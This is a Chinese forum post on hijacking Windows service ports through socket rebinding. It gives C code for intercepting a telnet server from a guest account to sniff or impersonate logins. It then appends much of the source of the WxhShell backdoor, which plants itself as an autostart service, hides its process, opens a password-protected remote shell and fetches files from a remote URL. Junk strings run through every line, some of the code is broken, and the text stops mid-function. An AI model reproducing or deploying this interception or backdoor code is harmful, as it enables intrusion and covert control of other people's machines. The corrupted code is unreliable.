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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _?]E)i'RI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &|rh~;:jUX  
*7MTq_K(An  
  saddr.sin_family = AF_INET;   -58  
Wp!#OY1?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bn>"lDf,  
nff X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yk r5bS  
g *}M;"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Imi;EHW  
i U3GUsPy  
  这意味着什么?意味着可以进行如下的攻击: y U"pU>fV@  
$ {29[hO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |ymw])L  
k e$g[g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b[}f]pB@n  
1u4)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R%7* )3$&r  
c@p4,G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,l}mCY  
Vgzw['L}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !*Hgl\t6a  
M=vRy|TL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NCm>iEeY  
xw2dEvjgp%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }O=QXIF5  
u#TRm?s  
  #include v/dyu  
  #include ~fL:pVp  
  #include >(N0''eM]  
  #include    khS b|mR)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   01bBZWX  
  int main() .9r+LA{  
  { ;IklS*p]  
  WORD wVersionRequested; &OpGcbf1  
  DWORD ret; Ur^~fW1 o  
  WSADATA wsaData; 6 <&jY  
  BOOL val; t^N 92$|  
  SOCKADDR_IN saddr; a>w@9   
  SOCKADDR_IN scaddr; VKzY6  
  int err; z D&5R/I  
  SOCKET s; !nX}\lw  
  SOCKET sc; i7@qfe$fR  
  int caddsize; C?I vXPlV  
  HANDLE mt; y_aKW4L+  
  DWORD tid;   gWlv;oq  
  wVersionRequested = MAKEWORD( 2, 2 ); WJCh{Xn%*  
  err = WSAStartup( wVersionRequested, &wsaData ); i:8g3|JfMe  
  if ( err != 0 ) { gDY+'6m;  
  printf("error!WSAStartup failed!\n"); lHg&|S&J  
  return -1; H)#HK!F6f  
  } Ml)0z&jQX  
  saddr.sin_family = AF_INET; Ps<6kQ(  
   !Db 0r/_:G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^;on  
?|Q[QP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Iud]*5W  
  saddr.sin_port = htons(23); : z=C   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Rgm3?7  
  { a(|YLN  
  printf("error!socket failed!\n"); U%E6"Hg  
  return -1; Dm=d   
  } DyZe+,g;S  
  val = TRUE; l# -4}95  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j,7NLb9M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8#NI`s*  
  { P<Wtv;Z1Z  
  printf("error!setsockopt failed!\n"); g[Tl#X7F  
  return -1; ] qT\z<}  
  } N#C"@,}Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \\<waU''  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `jl 1Q,~2r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2.Kbj^  
G$hH~{Y$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >G4EiJS  
  { -68E]O  
  ret=GetLastError(); < 0S+[7S"  
  printf("error!bind failed!\n"); jt({@;sU[<  
  return -1; Z0fl]3p  
  } K|"97{*|2  
  listen(s,2); gY)NPi}!`  
  while(1) f>g< :.k*  
  { 4Ji6B)B  
  caddsize = sizeof(scaddr); ym>>5(bni  
  //接受连接请求 e|ChCvk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #2N']VP  
  if(sc!=INVALID_SOCKET) 2&L2G'  
  { aD 33! :y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -}2'P)Xp  
  if(mt==NULL) f7y a0%N  
  { N$Pi4  
  printf("Thread Creat Failed!\n"); 1J(` kQ)c  
  break; MS`wd  
  } `5VEGSP]  
  } <2{CR0]u  
  CloseHandle(mt); Gz>M Y4+G  
  } pn},ovR;  
  closesocket(s); ]{tnNr>mv  
  WSACleanup(); /FzO9'kj  
  return 0; 9*AH&/EXth  
  }   RbexsBq  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3*N-@;[>b  
  { aT v  
  SOCKET ss = (SOCKET)lpParam; )v1y P  
  SOCKET sc; %RlG~a  
  unsigned char buf[4096]; \ C^fi}/]  
  SOCKADDR_IN saddr; D{%l 4og  
  long num; }3G`f> s  
  DWORD val; Fpz)@0K;  
  DWORD ret; Equj[yw%@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /h)_Q;35S;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <"Ox)XG3]W  
  saddr.sin_family = AF_INET; p i ;,?p-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Idq &0<I  
  saddr.sin_port = htons(23); &&(^;+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v]"W.<B,  
  { 2WKYf0t  
  printf("error!socket failed!\n"); 0+a-l[!p  
  return -1; ]u;Ma G=;  
  } * $  
  val = 100; v'x)AbbC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^lF'KW$  
  { X\?PnD`,  
  ret = GetLastError(); v() wngn  
  return -1; qs96($  
  } AFd3_>h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) --(e(tvf  
  { jgcI|?yL  
  ret = GetLastError(); oCl $ 0x  
  return -1; pS1f y]  
  } z#$>f*b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 03]   
  { ){XaO;k<]  
  printf("error!socket connect failed!\n"); zv1#PfO@)  
  closesocket(sc); 6P0\t\D0  
  closesocket(ss); `y1ne x-0  
  return -1; +<\)b(  
  } pZpAb+  
  while(1) pzkl;"gK  
  { f)~j'e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9 -Y.8:A`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QD<GXPu?N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D)XV{Wit  
  num = recv(ss,buf,4096,0); DEdJH4  
  if(num>0) J}$St|1y  
  send(sc,buf,num,0); av}Giz  
  else if(num==0) |.OXe!uU41  
  break; [Pn(d[$z  
  num = recv(sc,buf,4096,0); -i,=sZXB  
  if(num>0) Dy_ayxm  
  send(ss,buf,num,0); 0QWc1L  
  else if(num==0) ~1_v;LhH5+  
  break; q%G"P*g$(  
  } aP#nK  
  closesocket(ss); /(iq^  
  closesocket(sc); K,ccM[hu|  
  return 0 ; =) Aav!  
  } 6c[&[L%  
~,*=j~#h  
E%A] 8y7  
========================================================== {S+  $C  
2X:OS/  
下边附上一个代码,,WXhSHELL scXY~l]I*  
4pYscB  
========================================================== z5V~m_RO  
RDX$Wy$@L  
#include "stdafx.h" =vd9mb-  
SFj:|S=v6j  
#include <stdio.h> #@ quuiYq  
#include <string.h> <)f1skJsP  
#include <windows.h> bgi B*`z  
#include <winsock2.h> 6RA4@bIG  
#include <winsvc.h> dX720/R  
#include <urlmon.h> SxAZ2|/-  
jrF#DDH?I  
#pragma comment (lib, "Ws2_32.lib") kYwV0xQ  
#pragma comment (lib, "urlmon.lib") a#U2y"  
4#dS.UfI  
#define MAX_USER   100 // 最大客户端连接数 ( 04clU^F  
#define BUF_SOCK   200 // sock buffer _4Ciai2Ql  
#define KEY_BUFF   255 // 输入 buffer " R=,W{=  
LqDj4[}  
#define REBOOT     0   // 重启 !=-{$& {  
#define SHUTDOWN   1   // 关机 ji8)/  
T>$S&U  
#define DEF_PORT   5000 // 监听端口 ^ UB*Q  
&jbZL5  
#define REG_LEN     16   // 注册表键长度 Ct8}jg"  
#define SVC_LEN     80   // NT服务名长度 *$+:Cbe-F  
PP]Z~ne0X  
// 从dll定义API h$[tEmD%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JemB[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Te\i;7;4u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lRy^Wp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /=+y[y3`  
4!l%@R>O2  
// wxhshell配置信息 2@W'q=+0  
struct WSCFG { 2. t'!uwI  
  int ws_port;         // 监听端口 )2&U Rt.  
  char ws_passstr[REG_LEN]; // 口令 +\Zr\fOe|%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4s <|8   
  char ws_regname[REG_LEN]; // 注册表键名 "DpgX8lG_  
  char ws_svcname[REG_LEN]; // 服务名 .%\lYk]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rV5QKz6'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "\CUHr9k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [v,Y-}wQ)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t'7A-K=k3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l-~ o&n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )0tq&  
w1N-`S:  
}; t XbMP  
1kX>sajp~  
// default Wxhshell configuration ,; 81FK  
struct WSCFG wscfg={DEF_PORT, bvR0?xn q  
    "xuhuanlingzhe", !_a@autj  
    1, 8c1ma  
    "Wxhshell", s)eU^4m  
    "Wxhshell", n _H]*~4F  
            "WxhShell Service", oMw#ROsvC  
    "Wrsky Windows CmdShell Service", hFiJHV  
    "Please Input Your Password: ", lk(q>dvK  
  1, mO?yrM *  
  "http://www.wrsky.com/wxhshell.exe", K:<0!C!  
  "Wxhshell.exe" n[`KhRN  
    }; #_U[ T  
>3,t`Z:  
// 消息定义模块 d[t+iBP;)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xGBp+j1H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;oT!\$Mu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i*3*)ly  
char *msg_ws_ext="\n\rExit."; +{7/+Zz  
char *msg_ws_end="\n\rQuit."; ;_TPJy  
char *msg_ws_boot="\n\rReboot..."; dyyGt }}5f  
char *msg_ws_poff="\n\rShutdown..."; k~|5TO  
char *msg_ws_down="\n\rSave to "; yE3l%<;q  
av; ~e<  
char *msg_ws_err="\n\rErr!"; @`D`u16]i  
char *msg_ws_ok="\n\rOK!"; ?T (@<T  
N H$!<ffz  
char ExeFile[MAX_PATH]; .!><qV g  
int nUser = 0; Ra~|;( %d  
HANDLE handles[MAX_USER]; )e|n7|} $  
int OsIsNt; 0CtPq`!  
BQ /0z^A  
SERVICE_STATUS       serviceStatus; :jP4GCxU|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XW2{I.:in>  
o'hwyXy/S  
// 函数声明 \-F F[:|J  
int Install(void); ky^u.+cZ  
int Uninstall(void); ]y52%RAKI  
int DownloadFile(char *sURL, SOCKET wsh); '(S@9%,aK1  
int Boot(int flag); y(2FaTjM  
void HideProc(void); ;v=v4f'+  
int GetOsVer(void); 4w)aAXK  
int Wxhshell(SOCKET wsl); :OFL@byS  
void TalkWithClient(void *cs); wgV?1S>Z  
int CmdShell(SOCKET sock); M<KWx'uV  
int StartFromService(void); aplOo[  
int StartWxhshell(LPSTR lpCmdLine); :TTZ@ q  
^~65M/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S(Ej: H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,!{/Y7PmJ  
V+yyy- /  
// 数据结构和表定义 \y\@=j  
SERVICE_TABLE_ENTRY DispatchTable[] = u,f$cR  
{ 9-6E(D-ux  
{wscfg.ws_svcname, NTServiceMain}, -$0w-M8'  
{NULL, NULL} ta)'z@V@g  
}; !}$,) ~<+H  
rF>7 >wq  
// 自我安装 FsXqF&{  
int Install(void) 9[7Gxmf  
{ qEW3k),  
  char svExeFile[MAX_PATH]; :~gG]|F  
  HKEY key; y G{;kJ P  
  strcpy(svExeFile,ExeFile); 2dpTU=K4  
8`? vWJS  
// 如果是win9x系统,修改注册表设为自启动 k NnI$(H"H  
if(!OsIsNt) { Dg_AoC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Q2<bj]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2uajK ..b  
  RegCloseKey(key); *H''.6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PL6f**{-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ v21b?   
  RegCloseKey(key); bFt$u]Yvo  
  return 0; y"o@?bny  
    } FJYc*l  
  } *|F ;An.N^  
} ~Y3"vdd  
else { "7RnT3  
.V.x0  
// 如果是NT以上系统,安装为系统服务 nxZ[E.-\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2TxHY|4  
if (schSCManager!=0) dEuts*@ Q  
{ #y4+O;{  
  SC_HANDLE schService = CreateService bf2B  
  ( O*%@(w6  
  schSCManager, ',g'Tl^E  
  wscfg.ws_svcname, 'GJ'Vli  
  wscfg.ws_svcdisp, pk&;5|cCD  
  SERVICE_ALL_ACCESS, i[\`]C{gf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7yDWcm_y  
  SERVICE_AUTO_START, G$HXc$OY  
  SERVICE_ERROR_NORMAL, /GQN34RD  
  svExeFile, JXa5snh{h  
  NULL, LaolAqU  
  NULL, 61"w>;d6  
  NULL, #;WKuRv   
  NULL, X u+^41  
  NULL 9R6]OL)p  
  ); UOwEA9q%  
  if (schService!=0) E2Jmo5yJR  
  { L=1~)>mP  
  CloseServiceHandle(schService); |[lmW%  
  CloseServiceHandle(schSCManager); zQNkjQ{mx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qe6'W  
  strcat(svExeFile,wscfg.ws_svcname); vXP+*5d/ K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =8!FY"c*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Munal=wL  
  RegCloseKey(key); 3gcDc~~=  
  return 0; 1q Jz;\wU  
    } aGRD`ra  
  } /eI]!a  
  CloseServiceHandle(schSCManager); =bwuLno>  
} 8:=EA3  
} hfBZ:es+  
NUvHY:  
return 1; R3`h$`G  
} *=p[;V  
rbEUq.Yk]~  
// 自我卸载 >Y\$9W=t  
int Uninstall(void) 1m5 =Nu  
{ P nxxW?  
  HKEY key; R | &+g\{;  
zx7g5;J  
if(!OsIsNt) { 3cH`>#c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Q/Kp*a  
  RegDeleteValue(key,wscfg.ws_regname); $0OWPC1  
  RegCloseKey(key); mTsl"A>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X-$\DXRIo  
  RegDeleteValue(key,wscfg.ws_regname); M ~uX!bDH  
  RegCloseKey(key); 6L)]nE0^  
  return 0; jwe^(U  
  } P t)Ni  
} 8>KBh)q  
} "yo~;[  
else { 3r[}'ba\  
H}[kit*9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R;{y]1u  
if (schSCManager!=0) r-,P  
{ "iC*Eoz#.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j18qY4Gw)  
  if (schService!=0) \`!M5FJ  
  { @2>j4Sc  
  if(DeleteService(schService)!=0) { \>%.ktG  
  CloseServiceHandle(schService); yL#bZ9W }  
  CloseServiceHandle(schSCManager); JTw3uM, e  
  return 0; ~$PQ8[=  
  } g+xA0qW  
  CloseServiceHandle(schService); 06dk K )`  
  } > kLUQ%zE@  
  CloseServiceHandle(schSCManager); "{&?t}rj+  
} j=Co  
} < SIe5" {  
!|1GraiS  
return 1; g3`:d)|  
} n.a55uy  
jQgy=;?Lwm  
// 从指定url下载文件 iO 9fg  
int DownloadFile(char *sURL, SOCKET wsh) fF"\$Ny  
{ <A_LZi  
  HRESULT hr; mqx#N%  
char seps[]= "/"; c~0hu*&  
char *token; !}TZmwf'  
char *file; YjT7_|`(]  
char myURL[MAX_PATH]; 7a4b,-93  
char myFILE[MAX_PATH]; z TM1 e  
b/I_iJ8t  
strcpy(myURL,sURL); *s"dCc  
  token=strtok(myURL,seps); Pz/bne;=  
  while(token!=NULL) ,dG2[<?o  
  { %O! ~!'  
    file=token; <![]=~z $  
  token=strtok(NULL,seps); k70o=}  
  } Jp0*Y-*Y  
0rjH`H]M  
GetCurrentDirectory(MAX_PATH,myFILE); UZ`GS$D@  
strcat(myFILE, "\\"); +-VkRr#  
strcat(myFILE, file); 2[#7YWs  
  send(wsh,myFILE,strlen(myFILE),0); (eOzntp8  
send(wsh,"...",3,0); ,Qd;t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Hk eXS.  
  if(hr==S_OK) <yxEGjm  
return 0; POl[]ni=>  
else $Eo)i  
return 1; !D_Qat  
4]VoIUIuN  
} mo$`a6[h<  
|BO!q9633V  
// 系统电源模块 ?0U.1N  
int Boot(int flag) 2}ttC m  
{ _aR_ [  
  HANDLE hToken; exn Fy-  
  TOKEN_PRIVILEGES tkp; ^o*$OM7x  
C_&-2Z  
  if(OsIsNt) { ?(up!3S'x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;Tn$c70  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +;H-0Q5  
    tkp.PrivilegeCount = 1; G<S(P@ss  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RoG `U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c']3N  
if(flag==REBOOT) { z^KMYvH g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e)Be*J]4  
  return 0; " ^t3VjN  
} u+&t"B  
else { -UHa;W H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @F+zME   
  return 0; 7u9]BhcFv?  
} '`/Qr~]  
  } Vm_waa  
  else { U^ec g{  
if(flag==REBOOT) { M[C9P.O%w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E%?X-$a  
  return 0; @Qlh  
} rYp]RX>  
else { XtJ _po  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \fHtk _  
  return 0; l f<?k  
} &L88e\ c+  
} zNu>25/)(  
0#gu7n|J  
return 1; 9L$bJO-3  
} wRa$b  
YH0=Y mU#X  
// win9x进程隐藏模块 Wsz-#kc\[  
void HideProc(void) E3):8>R;1  
{ N3_rqRd^  
]dx6E6A,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OwdA6it^f  
  if ( hKernel != NULL ) B.e3IM0  
  { 3C+!Y#F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qqmhh_[T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G,VTFM6  
    FreeLibrary(hKernel); u9TiEEof3  
  } <"93  
\c"{V-#o\  
return; IfeCSK,x  
} -v '|#q  
G(g.~|=EZ  
// 获取操作系统版本 ewOd =%  
int GetOsVer(void) Rh[%UNl  
{ _y,? Cj=u|  
  OSVERSIONINFO winfo; Nq$Xe~,*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q_h=O1W  
  GetVersionEx(&winfo); deRnP$u0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @w%{yzr%  
  return 1; b,Z\{M:f;F  
  else Kzj9!'0R  
  return 0; lK}W%hzU  
} &YSjwRr  
(?G?9M#7_  
// 客户端句柄模块 -3z$~ {  
int Wxhshell(SOCKET wsl) ,)S(SnCF  
{ Kx-s95t  
  SOCKET wsh; E{Tvjh+  
  struct sockaddr_in client; _{eH" ,(  
  DWORD myID; >uu ]K  
zA~aiX  
  while(nUser<MAX_USER) %\ifnIQ  
{ {Q%"{h']  
  int nSize=sizeof(client); 8lI'[Y?3.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H=_ Wio  
  if(wsh==INVALID_SOCKET) return 1; p41TSALq  
s.9)? < [  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sQ4~oZZ  
if(handles[nUser]==0) )IFzal}o  
  closesocket(wsh); ,#NH]T`c1  
else C78V/{  
  nUser++; Y(qyuS3h~*  
  } sX8?U,u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7U@;X~c  
i9QL}d  
  return 0; 5Tl3k=o}  
} P?.j wI  
lY.{v]i }  
// 关闭 socket (jV_L 1D  
void CloseIt(SOCKET wsh) "JH / ODm  
{ o 0-3[W'x<  
closesocket(wsh); Cwb }$=p'  
nUser--; )kBN]>&R  
ExitThread(0); T6P9Icv?@7  
} VGHy|5K$  
w9Eb\An  
// 客户端请求句柄 MPexc5_  
void TalkWithClient(void *cs) m(CbMu  
{ 6 4fB$  
=;) M+"  
  SOCKET wsh=(SOCKET)cs; ogOUrJ}P  
  char pwd[SVC_LEN]; QSaJb?I  
  char cmd[KEY_BUFF]; `egyk)"aM  
char chr[1]; <9BM%  
int i,j; jt*VD>ji  
l$>))cW!  
  while (nUser < MAX_USER) { {J?#KHF'|  
0~)_/yx?S  
if(wscfg.ws_passstr) { +&U{>?.u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |JR;E$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2tEA8F~k  
  //ZeroMemory(pwd,KEY_BUFF); v0d<P2ix  
      i=0; b <1k$0J6  
  while(i<SVC_LEN) { nB8JdM2h{  
-F]0Py8(  
  // 设置超时 FL,av>mV  
  fd_set FdRead; l'K3)yQEJ  
  struct timeval TimeOut; uB`H9  
  FD_ZERO(&FdRead); wva| TZ  
  FD_SET(wsh,&FdRead); :~% zX*   
  TimeOut.tv_sec=8; }"sZ)FE  
  TimeOut.tv_usec=0; M)<4|x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,{pC1A@s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!I;U>b b  
F+lsza  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S~Z`?qHWh  
  pwd=chr[0]; pE^jUxk6  
  if(chr[0]==0xd || chr[0]==0xa) { ZeL v!  
  pwd=0; h=1cD\^|qw  
  break; NIzxSGk|  
  } 3RW3<n  
  i++; 7[b]%i  
    } -UhSy>m  
AXQG  
  // 如果是非法用户,关闭 socket XW^Sw;[efZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _w'N&#  
} b6LwKUl  
B!z-O*fLE1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )=PmHUd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5@:c6(5$  
{eQ')f  
while(1) { pYtvenBy  
AzfYw'^&9  
  ZeroMemory(cmd,KEY_BUFF); /IkSgKJiz\  
%.zcE@7*  
      // 自动支持客户端 telnet标准   ^<}>]F_  
  j=0; A18&9gY  
  while(j<KEY_BUFF) { PGj?`y4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /F3bZ3F  
  cmd[j]=chr[0]; ]xYm@%>6  
  if(chr[0]==0xa || chr[0]==0xd) { X-Q;4M-CJ  
  cmd[j]=0; /.[;u1z"^  
  break; 1 Ar6hA  
  } knPo"GQW  
  j++; 9uRs@]i  
    } [^J2<\<0  
fG^#G/n2  
  // 下载文件 V*|#j0}b  
  if(strstr(cmd,"http://")) { E>|xv#:~DV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }+" N '  
  if(DownloadFile(cmd,wsh)) =>_k;x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4raKhN"  
  else CQ(;L{}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xIrRFK9[Q  
  } 8%Wg;:DZx  
  else { <]/z45?  
3 E~d  
    switch(cmd[0]) { 3XOf-v:~  
  4Y=sTXbFt  
  // 帮助 y*AB=d^  
  case '?': { h /.^iT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B!#F!Wk"  
    break; X`,]@c%C`  
  } i;yr=S,a0/  
  // 安装 ,z*-93H1  
  case 'i': { Gz>M`M`[4  
    if(Install()) ]Q%|69H}B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); syseYt]  
    else Yy_o*Ozq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z@_ 9.n]  
    break; 9aE.jpN  
    } T\Zq/Z\  
  // 卸载 |.s#m^"  
  case 'r': { RCS91[  
    if(Uninstall()) H,? )6pZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~w4|q!]  
    else Fp`MX>F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bc".R]  
    break; @`</Z)  
    } oQkY@)3.w  
  // 显示 wxhshell 所在路径 g.cD3N  
  case 'p': { XyS|7#o  
    char svExeFile[MAX_PATH]; _QhB0/C  
    strcpy(svExeFile,"\n\r"); xEA%UFB.!G  
      strcat(svExeFile,ExeFile); ]{[8$|Mg  
        send(wsh,svExeFile,strlen(svExeFile),0); ?^# h|aUp.  
    break; dZ kr#>  
    } I>]t% YKj  
  // 重启 +h*.%P}o  
  case 'b': { VHyP@JB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G?y'<+Awt  
    if(Boot(REBOOT)) =Wl*.%1 b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JE`mB}8s/  
    else { LGOeBEAMV^  
    closesocket(wsh); xSQ0]vE  
    ExitThread(0); q0}?F  
    } /eoS$q  
    break; #2F 6}  
    } V<#E!MG  
  // 关机 " -Ie  
  case 'd': { $S"QyAH~-a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vs)%*1><  
    if(Boot(SHUTDOWN)) UacGq,  
